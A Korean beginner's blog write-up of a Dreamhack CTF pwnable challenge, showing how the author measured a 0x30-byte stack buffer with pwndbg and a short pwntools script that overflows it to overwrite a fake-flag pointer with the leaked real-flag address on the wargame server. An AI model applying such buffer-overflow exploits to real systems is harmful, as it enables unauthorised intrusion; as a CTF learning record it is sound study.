시스템 해킹 입문하기

buaii·2023년 6월 27일
0

System Hacking

목록 보기
1/11
  1. pwndbg
  2. pwntools

Dreamhack CTF Season3 #6 에 참여했다
시스템워게임을 풀어본적이 없어 쉬워보이는 포너블 문제를 해결하지 못했다
문제를 풀다보니 시스템해킹도 재미있어서 공부 시작!

분석

우선 문제를 실행부터 해보자

buffer가 나오는걸 보니 이게 그 유명한 buffer overflow라고 생각했다
버퍼 크기를 넘어서 fake flag를 real flag주소로 덮어쓴다면 real flag가 나올것이다

Buffer 확인

버퍼의 크기를 찾아보기위해 디버깅 시작
입력값을 받고 fake flag를 출력하기 전에 break point를 걸었다

aaabb의 입력값을 확인한다면 buffer구조를 확인할 수 있을것이다

노란색 = Buffer
파란색 = SFP
초록색 = RET

  • Tjdmin1님께서 파란색과 초록색은 sfp, ret가 아닌 real flag address, fake flag address
    즉, 초록색 부분을 real flag addresss로 덮는 문제라고 알려주셨다! (감사합니다)
buffer시작주소부터 ret까지의 크기는 0x30
0x30만큼 값을 채우고 real flag주소를 입력하면 flag가 출력될 것 같다

Exploit

from pwn import *

context.arch = 'amd64'
p = remote('host3.dreamhack.games', 13856)

p.recvuntil('real flag address (mmapped address):')

flag_addr = int(p.recvline().strip(), 16)
code = b'a' * 0x30
code += p64(flag_addr)

p.sendline(code)
print(p.recvline())

profile
buaii

0개의 댓글

관련 채용 정보